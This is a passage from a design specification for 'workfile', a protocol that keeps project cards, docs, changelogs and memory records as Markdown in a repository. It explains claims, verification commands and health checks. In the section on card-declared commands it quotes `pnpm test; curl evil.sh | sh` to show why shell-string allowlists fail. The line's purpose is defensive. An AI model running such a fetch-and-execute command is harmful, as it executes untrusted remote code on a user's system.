`.project/.cache/` MUST be ignored by Git. - Empty optional directories need not exist until first use. - Existing project documentation may remain outside `.project/` and be indexed through configuration. - Record files SHOULD remain flat within their collection unless that collection explicitly defines date- or release-based partitioning. ## 10. Common record contract All managed records share a small conceptual contract: ```ts interface ProjectRecord { id: string; kind: string; title: string; path: string; created?: string; updated?: string; tags?: string[]; related?: string[]; body: string; } ``` Not every file must physically repeat `kind` when its collection supplies it. The normalized runtime model includes it. ### 10.1 IDs - IDs are stable and MUST never be reused. - An ID is `-` unless a module defines a date-keyed release ID. - Default prefixes: | Record | Prefix | Example | | --- | --- | --- | | Card | `T` | `T-0042` | | Managed doc | `DOC` | `DOC-0012` | | Changelog fragment | `CHG` | `CHG-0091` | | Learning | `LRN` | `LRN-0017` | | Decision | `ADR` | `ADR-0008` | | Incident | `INC` | `INC-0004` | | Convention | `CONV` | `CONV-0006` | | Context | `CTX` | `CTX-0011` | - Sequence width is at least four digits and expands without changing existing IDs. - Allocation MUST scan active and archived records or use a transaction-safe local allocator. - Concurrent CLI writers MUST not receive the same ID. ### 10.2 Dates - Calendar dates use `YYYY-MM-DD`. - Exact timestamps use RFC 3339 UTC unless a field explicitly requires a calendar date. - `created` is immutable after creation. - `updated` changes when canonical content or metadata changes. - Generated indexes MUST preserve the source file modification time separately from semantic `updated`. ### 10.3 References Cross-module references use record IDs where possible: ```yaml related: [T-0042, ADR-0008, CHG-0091] ``` Paths remain valid where the target is not a managed record: ```yaml source: docs/research/payment-retries.md ``` The indexer resolves references into a graph. Unknown IDs produce doctor warnings or errors according to the field's strictness. ### 10.4 Frontmatter format The protocol uses a deliberately restricted YAML-compatible subset: - one scalar per line; - inline scalar lists using `[a, b]`; - JSON-compatible double-quoted escaping; - simple single-quoted scalars may be read for compatibility; - block scalars (`|`, `>`) and block sequences may be read, and are written back in the style they were read in; - a scalar list written as a flow sequence spread over several lines — which is what a formatter produces from `[a, b]` when the line exceeds its print width — MUST be read as the list it is, for any key declared a list; - nesting goes exactly one level deep, in one of two shapes — a mapping of scalars and inline lists, or a sequence of such mappings; - no anchors, aliases or tags, and no nesting past that one level; - deeper structures use dedicated JSON files or repeated Markdown sections. A key whose value falls outside this subset MUST be preserved verbatim on read and MUST be refused on write, with an error naming the key. Writing a value the format cannot represent MUST be refused for the same reason: silently serializing it loses what the author wrote. The parser and serializer MUST be exact inverses for supported values. Repeated saves MUST not cause textual drift. A nested value's list-ness is determined by how it is written — `[a, b]` — and not by the name of its key, since key-level list declarations apply only to the top level. A multi-line flow sequence is the single exception to style preservation, and MUST be written back on one line. Reproducing the way it was read would mean re-deriving a formatter's line breaks from a print width the codec does not know, and it is only ever rewritten as part of a write to that key. Drift is bounded rather than absent: the shape converges on the canonical one in a single save and is stable from there. ## 11. Module: Work cards ### 11.1 Purpose Cards represent actionable or potentially actionable project work. They are the operational layer of the protocol and SHOULD remain concise enough to scan, prioritize and execute. ### 11.2 File format Filename: ```text T-NNNN-short-slug.md ``` Example: ```yaml --- id: T-0042 title: Prevent duplicate invoice submission status: doing type: bug priority: high area: billing parent: T-0010 depends: [T-0038] origin: [T-0031, ADR-0004] source: .project/sources/audits/invoicing.md tags: [invoices, idempotency] effort: M start: 2026-07-28 due: 2026-08-01 scope: [apps/api/src/Billing, packages/sdk] claimed_by: session-56a30d1b claimed_at: 2026-07-28T09:32:00Z created: 2026-07-26 updated: 2026-07-28 --- The submission endpoint can create duplicate records after a network retry. ## Acceptance criteria - [ ] Repeated requests with the same idempotency key create one invoice. - [ ] Existing non-idempotent clients remain compatible. ## Activity - 2026-07-28 09:32Z alice@studio · claimed - 2026-07-28 11:04Z alice@studio via:claude-opus-4-1/high · backlog → doing ## Notes - 2026-07-28 — Claimed after confirming no overlapping active scope. ``` `## Activity` is the durable trail: every claim, release, transition, archive and renumber appends one line, written by the mutation itself rather than by the caller. A command that moved nothing appends nothing, so `transition ID review` against a card already in `review` leaves no entry, and archiving an archived card leaves none either. Archiving and unarchiving are written as `archived` and `unarchived` rather than as a status change, because neither moves the status. `## Notes` is the opposite — free prose a human or agent writes deliberately. A move that `force` let past a gate MUST say which gate and why, on the same line — `review → done (forced past 3 unproven criteria: REASON)` — and the reason MUST be demanded when, and only when, `force` waived something. Without it a forced close and a proven one are the same entry, and every count taken over closed cards counts them alike. Set `cards.activityTrail: false` to switch the trail off for a workspace. It defaults to `true`, and the only reason to disable it is a repository where the churn costs more than the history is worth; the claim guards and the doctor do not read it. ### 11.3 Statuses | Status | Meaning | | --- | --- | | `backlog` | Identified with no commitment on when. | | `next` | Explicitly prioritized for the upcoming execution batch. | | `doing` | Work is actively in progress. | | `review` | Implementation is complete but awaits verification, deployment or sign-off. | | `blocked` | Progress depends on an external condition; Notes explain it. | | `deferred` | Deliberately postponed; Notes record the decision. | | `done` | Finished and verified in an environment where the result runs. | | `discarded` | Will not be done; Notes explain why. | `done` does not mean merely committed or merged. User-visible changes remain `review` until verified in an appropriate running environment. ### 11.4 Types | Type | Meaning | | --- | --- | | `epic` | Grouping record for related executable work. | | `idea` | Unvalidated proposal, hidden from execution views by default. | | `feature` | Accepted product capability. | | `bug` | Incorrect existing behavior. | | `task` | General executable work. | | `audit` | Investigation or verification work. | | `docs` | Documentation work. | | `chore` | Maintenance without direct product behavior. | ### 11.5 Priority | Priority | Meaning | | --- | --- | | `critical` | Immediate material risk or production impact. | | `high` | Important work that should be prioritized soon. | | `medium` | Normal priority. | | `low` | Valuable but safely postponed. | Priority MUST not encode workflow state or effort. ### 11.6 Classification axes `area` is one axis and it is shaped like a delivery layer. A project that also needs a domain axis — bounded contexts, products, customers — declares one under `cards.axes`: ```js cards: { areas: ["api", "web", "infra"], axes: { context: ["treasury", "verifactu", "billing", "iam"] } } ``` Each declared axis becomes a flat frontmatter key on the card: ```yaml area: api context: treasury ``` Flat, not a nested `axes:` mapping, so the value stays greppable and the existing query grammar reads it without a second index: `search "context:treasury"` already filters on any frontmatter key. An axis is either its vocabulary, as above, or an object: ```js axes: { goal: { values: ["guards-server", "fugas-cross-tenant"], required: false } } ``` Rules: - an axis name MUST NOT collide with a field a card already owns; - an axis MUST declare a non-empty vocabulary; - an axis declared as an array is required; `{ values, required: false }` declares the vocabulary without expecting a value on every open card; - a card value outside the declared vocabulary is invalid, the way an unknown `area` is; - an axis is optional on a card unless a project rule says otherwise; - an *undeclared* frontmatter key remains legal and unvalidated — declaring an axis is what turns a free-text note into something that fails loudly. Health checks MUST report a card value outside the declared vocabulary as an error, whether or not the axis is required. A card carrying no value for a required axis SHOULD be a warning, and only while the work is open: declaring an axis on an existing repository must not produce one diagnostic per finished record. A card carrying no value for an axis declared `required: false` is not reported: the shape exists for boards whose resting state is not `done`, where the open-work exemption alone measured at three quarters of the doctor output. The schema surface reports the declared axes and which of them are optional, so an agent discovers them the way it discovers areas rather than by reading the config file. ### 11.7 Hierarchy and relationships The default hierarchy is: ```text epic → task → subtask ``` Rules: - hierarchy is expressed only through `parent:`; - files do not move when re-parented; - maximum depth defaults to two levels below an epic; - any non-epic card may have children when within the configured depth; - hierarchy cycles are invalid; - deleting a parent is forbidden while references remain; - `depends:` is an ordering hint, not a hard execution lock. A card carries five relationship fields, and they are not interchangeable: | Field | Holds | Means | |---|---|---| | `parent` | one card ID | this card is **part of** that one | | `depends` | card IDs | those must close **before** this one is actionable | | `origin` | record IDs, any kind | this card was **discovered while working on** those | | `raised` | `reported` \| `derived` | who put it on the board: a person asked, or an agent inferred it from the repository | | `related` | record IDs, any kind | worth reading alongside; no direction, no claim | | `source` | a repository-relative path | the file the work came from, checked on disk | `origin` is provenance, not decomposition. A card found while working on another is not part of it — the origin is usually already closed, blocks nothing, and the reason it matters is the direction: it answers *where did this come from*, and read backwards, *what did that produce*. It accepts decisions and learnings as readily as cards, because a decision spawns work as often as a card does. `origin` is declared, never inferred. Prose naming a record is a `mention` in the reference graph; an `origin` is a `reference`, and the two are not mixed. An origin that resolves to no record is reported by `doctor` as `missing-origin`, and a card naming itself as `self-origin`. `agents context --card ID` reports both directions of it: **Came out of** for the card's own `origin`, **Spawned** for every card declaring this one. ### 11.8 Claims and scope A claim is an advisory lease treated as binding by protocol-aware agents. Starting work performs one logical operation: ```text status = doing claimed_by = current session or actor claimed_at = current timestamp scope = reviewed expected paths updated = today ``` Finishing, deferring, blocking or abandoning work clears the claim unless ownership remains explicitly justified by a configured workflow. Rules: 1. Never work a card claimed by another active session. 2. Compare `scope` with all other `doing` cards before claiming. 3. Path overlap produces a coordination warning. 4. Claims older than the configured lease may be broken with an explanatory Note. 5. A card outside `doing` MUST NOT retain `claimed_by` or `claimed_at`. 6. The CLI SHOULD provide atomic `claim`, `release` and `transition` operations. ### 11.9 Scheduling `start` and `due` are optional calendar dates used for planning views. - `due` must not precede `start`; - either field may exist alone; - dates do not change card status automatically; - a future date on a completed card is not treated as lateness; - scheduling is not a commitment unless another configured policy says so. ### 11.10 Assets Assets are stored by card ID: ```text .project/assets/T-0042/mockup.png ``` Rules: - asset discovery is convention-based and not duplicated in frontmatter; - filenames are sanitized; - uploads are size-limited; - path traversal is rejected; - archiving a card does not move or break its assets; - images may be rendered inline and other files offered as local links; - Git suitability must be communicated before adding large binaries. ### 11.11 Archiving - `done` and `discarded` cards may be moved to the configured archive directory. - Archiving is explicit, never automatic. - Archived IDs remain reserved. - References to archived cards remain valid. - Reopening restores a card to the live directory before transitioning it. ### 11.12 Card-declared commands A card MAY bind an acceptance criterion to the command that proves it. The binding lives in frontmatter, as a `verify` block: ```yaml verify: - id: gate run: [pnpm, test, test/acceptance.test.ts] criteria: [sha256:ab12…] ``` `run` MUST be an argument vector, and it MUST be executed without a shell. A single string is refused rather than split. The reason is that the allowlist below has to be decidable: over a shell line `pnpm test` is a prefix of `pnpm test; curl evil.sh | sh` as surely as it is a prefix of `pnpm test -w`, so a prefix matcher over a string would be predicting the behaviour of a parser it does not own. Over an argv executed with no shell there is no parser between the value that was matched and the vector the operating system receives, and prefix matching is element-wise string equality. An element MUST NOT be empty and MUST NOT hold a control character. This is a round-trip rule and not a shell-safety one: frontmatter is line-oriented, so an element carrying a newline would be stored as two lines and read back as something its author did not write, and a command that changes when it is stored cannot be matched against anything. Every other byte — `;`, `|`, `*`, spaces, non-ASCII — is permitted, because under a shell-free model it is one argument's data. **The commands a card may name are declared by the project**, under `cards.verification.commands`, as a list of argv prefixes. The list is empty by default: a project that declares nothing can run nothing. A card naming a command outside it MUST be refused with a named error, and the refusal MUST happen in two places, because they cover different arrivals: - on **write**, so a card authored through the protocol never lands and the refusal is a reviewable diff rather than a red build; - on **read**, by the doctor, because a card is a Markdown file and one can arrive as a file in a diff — a fork's pull request — without ever calling a mutation. That case reaches no write path at all, so the doctor rule is the only gate it meets. It is an `error`, so the run that reports it fails. A declared prefix MUST be matched byte for byte, element by element. An implementation MUST NOT case-fold, trim, resolve paths, strip quotes, apply Unicode normalisation, or join the vector into a string and search it: each opens a gap between the command that was matched and the command that will run. A declared entry that could never match a stored command — an empty array, which is a prefix of everything, or an element the round trip would not return unchanged — MUST be refused when the configuration loads. The allowlist bounds which command a card may name. It does not bound what that command does, and MUST NOT be documented as though it did: every command worth allowing dispatches through a file the same pull request can edit. It is anti-escalation on a trusted branch and a way to keep a declared command reviewable in one place. Containment for an untrusted branch is a property of the job — no secrets, no write token, no evidence written back — not of the card. **Running them.** `workfile card verify ID` executes each declared entry and reports pass or fail per entry. It is the only writer permitted to check a bound criterion: a criterion a `verify` entry names is refused to `card ac --check`, so without this command a card that binds its criteria is a card nothing can close. An entry MUST be permitted to write the criteria bound to it and no others — a runner that could check anything would be the same escalation one rung further in, reached by declaring an entry instead of by typing `--check`. Every entry the card declares MUST be checked against the allowlist before the first one is spawned, whether or not the caller selected it. A criterion's box records what a command decided, so only a command that reached a decision may write one: | Outcome | Condition | Bound criteria | | --- | --- | --- | | `passed` | Exit status `0`. | Checked. | | `failed` | Any other exit status. | Unchecked. | | `timed-out` | Killed at the configured timeout. | Unchanged. | | `errored` | No process started. | Unchanged. | A failing run unchecking what a passing one checked is the honest reading: a proof that no longer reproduces is not a proof, and leaving the box would let `done` pass on it. The last two rows are not a weaker `failed` and MUST NOT be treated as one. Killing a command at the timeout is the implementation giving up, and a machine that cannot start the command has decided even less; neither is a fact about the criterion, and unchecking on either would let a run on the wrong machine erase a proof a right one produced — which no caller could undo, the criterion being machine-owned. All four are reported, and any outcome other than `passed` MUST fail the run. A run that changes a criterion's state MUST leave a trail entry naming the entry that changed it, in the same write as the change. A state change with no actor behind it is precisely what §11.2's trail exists to prevent, and a box that moved because a subprocess exited has no author in the record otherwise. A run that changes nothing records nothing, by the same rule as a repeated transition. The commands MUST run outside the card's write lock, and the bindings MUST be resolved against a reading of the card taken after the last command exits: the interval is minutes long, and a criterion reworded inside it is no longer bound to the entry, so the write is refused by name rather than applied to whatever line moved into that position. A command MUST be given a bounded time to run — `cards.verification.timeoutSeconds`, ten minutes by default — and an implementation MUST NOT offer a way to disable it. The caller most likely to meet a command that never exits is an unattended job, which has no keyboard to interrupt it with. There is no dry run. The flag previews filesystem changes, and a run that spawns every declared command and then skips the write-back has already done the part worth previewing; it MUST be refused rather than reinterpreted. ### 11.13 How `done` was proved Reaching `done` MUST write a `verified` block, and leaving `done` MUST clear it. It is written by the protocol on every path into the status — transition, patch, release and bulk, from every surface — and it is not patchable: no caller can hand-write it, and an axis cannot be declared with that name. ```yaml verified: at: "2026-08-05T10:12:00.000Z" method: ci commit: 4b939fd2c1e07a0d5b6c8e93f1a2d4c7b8e05f36 run: "https://ci.example/runs/1284" digest: "sha256:1f0c…" ``` `method` is one of `local`, `ci`, `manual` or `forced`, and the tiers carry more of the substance here than the digest does. | Method | Meaning | Requires | | --- | --- | --- | | `local` | A command ran on the author's machine. Self-reported, and the default when no method is given. | — | | `ci` | A run anyone can open. | `run` | | `manual` | A person judged something no command expresses. | prose evidence, and an actor | | `forced` | The acceptance gate was walked past. | — | `forced` is **derived, never supplied**: it is written when, and only when, `assertAcceptanceMet` waived something, and a caller who asks for it MUST be refused. What was waived, and why, stays on the trail line described in §11.2 — recording the reason twice would create two places to disagree. A method supplied on a write that does not move the card into `done` MUST be refused rather than dropped, and so must a second method on a card that is already `done`: a close records the verification once, and a re-run of the command must not silently replace `ci` with `local`. `manual` evidence is prose, so it goes in the body, as one line under `## Notes` — `- 2026-08-05 10:12Z alvaro — manual verification: TEXT`. The frontmatter codec holds one scalar per line, so anything longer could not live there without being mangled. `commit` is HEAD at the moment of the close, and it is omitted when there is nothing to record. Git is optional: a workspace that is not a repository, a repository with no commits, and a machine with no git all close cards normally and simply carry no commit. **The digest covers the criteria region and the `verify` block, and nothing else.** It cannot cover the body, because the same transition appends a trail entry — a whole-body digest would be invalidated by the write that created it. It is taken over a canonical reading rather than over raw text: the criteria as normalised text, sorted, plus the `verify` entries with their criteria sorted. Reordering criteria, checking a box, reflowing a paragraph and rewriting prose outside the region therefore leave it alone; editing what a criterion *says* does not. Staleness is reported and never enforced retroactively. `doctor` reports, as warnings: - `verified-criteria-changed` — the card is verified against criteria text that has since changed; - `verified-commit-unreachable` — a live `done` card's `commit` is not an ancestor of HEAD, so the branch that proved it may have been rebased away or never merged. Silent when git is absent, when the workspace is not a repository, when the clone is shallow, and when the object is not present: those are refusals to answer, not findings; - `verified-block-invalid` — the block does not read as a verification. Nothing in the protocol can write one, so it means a hand edit or a card that arrived as a file in a diff. Worth reporting because a block the codec cannot read makes the card unwritable in both directions: it can be neither rewritten nor cleared, so reopening it fails too. A `done` card carrying no block at all is deliberately **not** reported. Every card closed before this existed has none, and a warning per historical card is how doctor output stops being read. ### 11.14 Which methods an area accepts A project MAY declare, per area, which of the methods above it accepts at `done`, under `cards.verification.methods`: ```js cards: { areas: ["api", "web", "docs"], verification: { methods: { api: ["ci"], docs: ["ci", "manual"], "*": ["ci", "local"] } } } ``` `*` answers for every area the map does not name, including areas added after the policy was written. A project that declares nothing accepts every method, which is the behaviour of every workspace written before this key existed, and an implementation MUST treat "declares nothing" and "declares the whole vocabulary" as distinguishable: the first has no opinion and the second is a policy somebody wrote. A write that would move a card into `done` with a method the card's area does not accept MUST be refused with a named error, from every surface, and the refusal MUST name the accepted methods. **A caller that names no method is judged, not exempt**: §11.13 resolves an unnamed method to `local`, so under `{ api: ["ci"] }` a bare close of an `api` card is refused. The permissive reading — no method recorded, therefore nothing to check — would make the gate escapable by typing less. The gate is waivable, like the other two gates a close meets. `--force` with a reason gets past it, the trail line names the area's verification policy among what was waived, and the block then records `forced` rather than the method that was refused — which is why a forced close MUST NOT also name a method. A policy MUST NOT name `forced` itself: it is not a method a caller chose, and a project declaring it would be accepting a bypass as proof. The methods a policy names MUST be validated when the configuration loads. The *areas* it names MUST NOT be: an area may be removed from `cards.areas` while the policy still names it, and a configuration that refuses to load takes every command in the repository with it — including the doctor that would have explained why. It is reported instead, as `verification-policy-area-unknown`, beside the equivalent finding for a `search.provider` that resolves to nothing. Policy is not applied retroactively. A card already `done` whose recorded method the current policy no longer accepts is reported as the warning `verification-method-unaccepted` and never re-gated: tightening a policy must not invalidate closed work, and there is nothing to do about a shipped card except decide it is acceptable, which is what the doctor baseline is for. ### 11.15 What produced a write The trail records an actor — which human, which session — and nothing about what did the work. A writer MAY declare what produced its writes, and when it does the protocol records it in two places: on the trail line as a second token after the actor, `via:MODEL/REASONING`, and in frontmatter as `produced_by`. ```yaml produced_by: model: claude-opus-4-1 reasoning: high basis: self-reported ``` Rules: 1. **Beside the actor, never inside it.** `claimed_by` and the actor segment of a trail line are unchanged by a declared producer. Every comparison of actors — the claim guard, `claimSeparation`, the edit hook — reads the same string it read before. 2. **Self-reported, and the record says so.** The declaration comes from the writer's environment (`WORKFILE_MODEL`, `WORKFILE_REASONING`, the host's own effort variable, or what the host's hook copied into the session file), and an agent can set an environment variable to anything. Every block carries `basis: self-reported` and MUST NOT be read as attested. 3. **Both halves, or the absence stated.** `model` and `reasoning` are each a label or the word `undeclared`; the trail token drops an undeclared reasoning and keeps an undeclared model, so the line still says a producer was declared and what was not. 4. **A label, not a payload.** A declared value is at most 64 characters of `[A-Za-z0-9._:+-]`. Anything else is refused and reported to the caller, never written. This is what keeps the field from carrying a prompt, a key or a path into a committed record. 5. **Last declared writer, plus history.** The frontmatter block holds the newest writer *that declared a producer*, so it can be counted over without parsing prose; the trail keeps every earlier one. A write that declares nothing puts no token on its line and leaves the block as it was — the line without a token is the record of that write, and a human's note after an agent's close does not erase which model closed it. The block is not patchable and cannot be declared as an axis. 6. **Nothing declared, nothing written.** A workspace where no writer declares a producer produces records byte-identical to those of a protocol without this section. A writer that declared something the record refused is not that case: its write records `undeclared` on both halves, because it said it was something. `doctor` reports `produced-by-invalid`, a warning, for a block that does not read as a producer: the protocol cannot write one, so it is a hand edit. ## 12. Module: Documentation ### 12.1 Purpose The Docs module provides one navigable and searchable view over project documentation without requiring a disruptive migration of existing files. It distinguishes: 1. **Indexed documents** — existing files owned by the project structure. 2. **Managed documents** — records created under the protocol with structured metadata. ### 12.2 Indexed documents Configured glob patterns discover documents such as: ```text README.md docs/**/*.md apps/*/README.md packages/*/docs/**/*.md ``` Indexed documents: - remain at their original path; - are read-only by default in the protocol UI; - may be opened in the configured editor; - may participate in search, backlinks and freshness checks; - do not require protocol frontmatter; - receive a derived identity based on path unless explicitly assigned a managed ID. An indexed tree that is published as a site may declare itself with `docs.routeRoots`. Inside such a root, a link target is a **route** rather than a path: it resolves from the root itself rather than from the linking file, and onto whichever file backs the route — `.md`, `.mdx`, or an `index` of either. Without it, a documentation site whose house style is `[text](section/page)` has every link reported as broken, and any genuinely dead one is lost in the noise. `routeRoots` only ever widens what resolves. The file-relative reading is still tried, and outside a declared root a link is a path. ### 12.3 Managed documents Managed documents live under `.project/docs/` or another configured path. ```yaml --- id: DOC-0012 title: Billing architecture kind: architecture status: current owners: [billing] related: [T-0042, ADR-0008] created: 2026-07-20 updated: 2026-07-28 --- Long-form documentation body. ``` Default document kinds: - `architecture` - `product` - `runbook` - `guide` - `reference` - `research` - `spec` - `handoff` Default statuses: - `draft` - `current` - `stale` - `superseded` - `archived` Projects MAY add namespaced kinds. Managed documents MAY live in folders below the managed path. Implementations MUST load them recursively, so a folder created by hand is a valid organization with no protocol change, and MUST keep the identifier global and sequential: two documents MUST NOT share an ID even in different folders. Folders are organization, never identity, so moving a document MUST NOT change its ID. `docs.layout` selects where new managed documents are written: - `kind` (default) — a folder named after the document kind; - `flat` — the managed root. An explicit folder (`--folder`, or `folder` in the API) MUST override the layout and MUST be rejected when it resolves outside the managed path. ### 12.4 Relationships Docs may reference: - cards that implement or maintain them; - decisions that justify them; - incidents that changed procedures; - other documents they supersede; - source-code paths they describe. The UI SHOULD show incoming and outgoing links. ### 12.5 Freshness The protocol MUST distinguish objective checks from heuristic checks. Objective examples: - referenced path no longer exists; - related managed record ID is invalid; - document declares `supersedes` but target is missing. Heuristic examples: - source paths changed after the document's `updated` date; - related cards completed after the document was last reviewed; - configured review interval expired. Heuristic freshness issues are warnings, never automatic rewrites. ### 12.6 Documentation mutations The MVP UI MAY keep documents read-only. The core and CLI MUST nevertheless expose safe create and update functions for managed documents so future editors and agents do not bypass validation. ## 13. Module: Changelog and releases ### 13.1 Purpose The changelog module records user-meaningful and operator-meaningful changes as atomic fragments, then composes them into releases and optional generated files. Git commits remain implementation history. Changelog records describe the meaning of change. ### 13.2 Change fragment format ```yaml --- id: CHG-0091 title: Prevent duplicate invoice submissions type: fixed area: billing visibility: public cards: [T-0042] issues: [] created: 2026-07-28 updated: 2026-07-28 --- Network retries now reuse the original invoice instead of creating another one. ``` Default types: - `added` - `changed` - `fixed` - `deprecated` - `removed` - `security` - `internal` Visibility: - `public` - `internal` ### 13.3 Unreleased fragments Fragments are created under: ```text .project/changelog/unreleased/ ``` They SHOULD be created in the same change set as the implementation when the result is worth communicating. Trivial internal changes may omit them according to project policy. ### 13.4 Releases A release operation: 1. selects unreleased fragments; 2. validates their references; 3. orders and groups them deterministically; 4. writes a release record; 5. optionally updates a generated `CHANGELOG.md`; 6. moves or marks consumed fragments without losing their IDs; 7. records the release version and date. Release record example: ```yaml --- id: REL-0017 title: Version 2.4.0 version: 2.4.0 date: 2026-07-28 fragments: [CHG-0091, CHG-0092] commit: 1a2b3c4 --- Release notes may contain curated introductory text. ``` Release ids are sequential like every other record id, not derived from the date: `changelog.releasePrefix` supplies the prefix and defaults to `REL`. An earlier revision of this example showed `REL-2026-07-28`, which no release has ever been called. ### 13.5 Generated changelog A generated changelog is output, not canonical input. Manual prose may be preserved through explicit managed sections or release records, never by editing generated sections that will be overwritten. ### 13.6 Card integration - Completing a card does not always require a changelog fragment. - Public product changes SHOULD reference at least one fragment before becoming `done` when configured policy requires it. - Changelog fragments MAY reference multiple cards. - A release can be browsed back to the work, decisions and incidents that produced it. ## 14. Module: Project memory ### 14.1 Purpose Memory stores durable project knowledge that should survive individual conversations and agent sessions. It is not a transcript archive. A memory record must answer at least one of these questions: - What did we decide and why? - What did we learn that changes future work? - What failed and how do we prevent recurrence? - What convention must future contributors follow? - What temporary context matters until a known expiry point? ### 14.2 Memory collections #### Learnings Reusable observations supported by experience. ```yaml --- id: LRN-0017 title: Avoid serializing lazy proxies in audit diffs category: backend status: active confidence: high occurrences: 3 related: [T-0042, INC-0004] created: 2026-07-20 updated: 2026-07-28 --- Describe the observed pattern, evidence and preferred response. ``` Statuses: `active`, `graduated`, `superseded`, `discarded`. A graduated learning has been converted into a convention, automated check, documentation or code invariant. #### Decisions Architecture and product decisions, compatible with ADR practice. ```yaml --- id: ADR-0008 title: Keep protocol data in repository Markdown status: accepted deciders: [owner] supersedes: [] related: [DOC-0012] created: 2026-07-28 updated: 2026-07-28 --- ## Context ## Decision ## Consequences ``` Statuses: `proposed`, `accepted`, `rejected`, `superseded`. #### Incidents Operational failures and their prevention. ```yaml --- id: INC-0004 title: Deployment marked complete before migrations shipped severity: high status: resolved started_at: 2026-07-26T11:04:00Z resolved_at: 2026-07-26T14:18:00Z related: [T-1533, T-1561, LRN-0017] created: 2026-07-26 updated: 2026-07-28 --- ## Impact ## Timeline ## Root cause ## Corrective actions ``` Statuses: `open`, `mitigated`, `resolved`, `closed`. #### Conventions Stable rules contributors and agents must follow. ```yaml --- id: CONV-0006 title: Verify user-visible changes before closing cards status: active scope: [project-wide] related: [INC-0004] created: 2026-07-28 updated: 2026-07-28 --- A user-visible card remains in review until verified in a running environment. ``` Statuses: `draft`, `active`, `deprecated`, `superseded`. #### Context Temporary project facts with explicit expiry or review. ```yaml --- id: CTX-0011 title: Billing migration freeze window status: active expires: 2026-08-15 related: [T-0042] created: 2026-07-28 updated: 2026-07-28 --- Describe the temporary constraint and what should happen at expiry. ``` Statuses: `active`, `expired`, `resolved`. Context records SHOULD include `expires` or `review_after`. The doctor warns about expired active context. ### 14.3 Memory quality rules Memory MUST NOT become a dumping ground for conversation summaries. A valid memory record SHOULD: - contain a stable title and a specific claim; - explain evidence or rationale; - link to related records or sources; - state consequences or future behavior; - be updated or superseded when invalidated; - avoid credentials, personal secrets and unnecessary sensitive data. ### 14.4 Graduation Learnings and incidents should produce stronger artifacts when appropriate: ```text observation → learning → convention / test / runbook / decision incident → corrective cards → learning → convention ``` The UI SHOULD show graduation links and unresolved corrective actions. ## 15. Sources and traceability Long-form raw inputs MAY be stored under `.project/sources/` and linked by records. Examples: - audits; - research dumps; - imported issue reports; - migration inventories; - handoffs; - external-system exports. Rules: - sources are snapshots and SHOULD not be rewritten to reflect later execution state; - operational state belongs in cards and related records; - a source may be marked exhausted after all actionable content is represented elsewhere; - source paths are repository-relative; - the doctor verifies referenced local paths; - imported sources MAY store origin metadata such as URL or external issue ID. ## 16. Core architecture ### 16.1 Layers ```text Configuration and schemas ↓ Workspace and filesystem adapters ↓ Module repositories and domain services ↓ Validation, indexing and relationship graph ↓ CLI / HTTP API / MCP adapters ↓ Local UI and generated agent instructions ``` Dependencies point downward only. The UI MUST NOT contain canonical business rules that the core does not enforce. ### 16.2 Public core API The package exposes a documented programmatic API. Every name below is resolved against the built package by "no doc imports a name the package does not export" in `test/documentation.test.ts`, so this block cannot drift from what ships without failing the suite. ```ts export { defineProject, loadWorkspace, initializeProject, applyLegacyMigration, buildProjectIndex, runDoctor } from "@illodev/workfile"; export type { ProjectConfig, ProjectWorkspace, ProjectRecord, CardRecord, DocumentRecord, ChangeRecord, MemoryRecord, DoctorReport } from "@illodev/workfile"; ``` Module operations are free functions taking a workspace, not repositories hanging off one. `ProjectWorkspace` carries the configuration, the resolved paths, the effective schema and the declared integrations — it exposes no methods, and a caller reaches every operation through the functions below rather than through a raw file write: ```ts const { cards } = await loadCards(workspace); await createCard(workspace, input); await patchCard(workspace, id, changes, { actor }); await claimCard(workspace, id, { actor, scope }); await transitionCard(workspace, id, status, { actor }); const { documents } = await loadDocuments(workspace); await createChangeFragment(workspace, input); await createMemoryRecord(workspace, collection, input); searchProjectRecords(records, query, { kinds, limit }); ``` `searchProjectRecords` takes records rather than a workspace because ranking is pure: the caller decides what corpus is eligible, which is what lets the CLI, the HTTP API and MCP share one ranking over different candidate sets. Subpath exports group the same functions by module — `@illodev/workfile/cards`, `/docs`, `/changelog`, `/memory`, `/records`, `/search`, `/agents`, `/ci`, `/core`, `/server`, `/mcp`, `/init`, `/migration`, `/claude`, `/integrations` — and the root re-exports all of them. ### 16.3 Filesystem adapter All canonical writes MUST: 1. resolve and validate paths inside the workspace; 2. read the latest on-disk version; 3. validate the intended mutation; 4. write to a temporary file in the same filesystem; 5. atomically rename into place where supported; 6. preserve the body and unknown compatible fields; 7. update semantic timestamps; 8. invalidate affected indexes; 9. return the normalized saved record. Direct `writeFile` calls outside the filesystem adapter are forbidden in protocol modules. ### 16.4 Optimistic concurrency Mutation APIs SHOULD accept a revision token derived from file content or metadata: ```ts interface MutationOptions { expectedRevision?: string; } ``` If the file changed after the client loaded it, the mutation returns a conflict rather than silently overwriting another human or agent. ### 16.5 Unknown fields The parser MUST preserve unknown frontmatter fields during edits unless they are invalid or belong to an unsupported future schema version. This permits compatible extensions and safe round trips. ## 17. Derived index and search ### 17.1 Cache The default derived index is stored at: ```text .project/.cache/index.sqlite ``` The exact engine is an implementation detail. It MAY initially be an in-memory index with a JSON cache, provided the public behavior is stable. ### 17.2 Indexed data The index may contain: - normalized record metadata; - full-text document content; - outgoing and incoming references; - hierarchy and dependency edges; - source paths; - file fingerprints; - validation summaries; - optional embeddings. ### 17.3 Rebuildability Deleting `.project/.cache/` MUST NOT lose canonical data. `workfile doctor --rebuild-cache` recreates it from repository files. ### 17.4 Search syntax A common query language should serve CLI and UI: ```text payment retry area:billing status:doing kind:decision tag:architecture related:T-0042 path:docs/fiscal -type:idea "exact phrase" ``` Unknown field tokens should produce a helpful warning rather than being silently interpreted as free text. ### 17.5 Semantic search Semantic search is optional and disabled by default. When enabled: - embeddings are derived state; - the provider and data boundary are explicit; - local providers are supported where practical; - repository content is never sent externally without user configuration; - results always link back to canonical files. ## 18. Validation and workfile doctor ### 18.1 Command ```bash workfile doctor workfile doctor --json workfile doctor --severity error workfile doctor --new workfile doctor --accept-baseline workfile doctor --fix ``` `--fix` only applies deterministic, reversible fixes. It MUST show a plan unless `--yes` is provided. ### 18.2 Severity - `error` — invalid canonical state or unsafe operation; non-zero exit. - `warning` — likely inconsistency or stale state; configurable CI behavior. - `info` — recommendation or maintenance opportunity. ### 18.3 Cross-module checks The doctor validates at least: - configuration and schema version; - required fields and enums; - IDs, filenames and duplicate identity; - parser round-trip stability; - hierarchy depth and cycles; - broken strict references; - missing source paths; - date and range validity; - claim coherence and stale claims; - overlapping active scopes; - archived record eligibility; - unchecked acceptance criteria on completed cards; - card-declared commands outside the project's 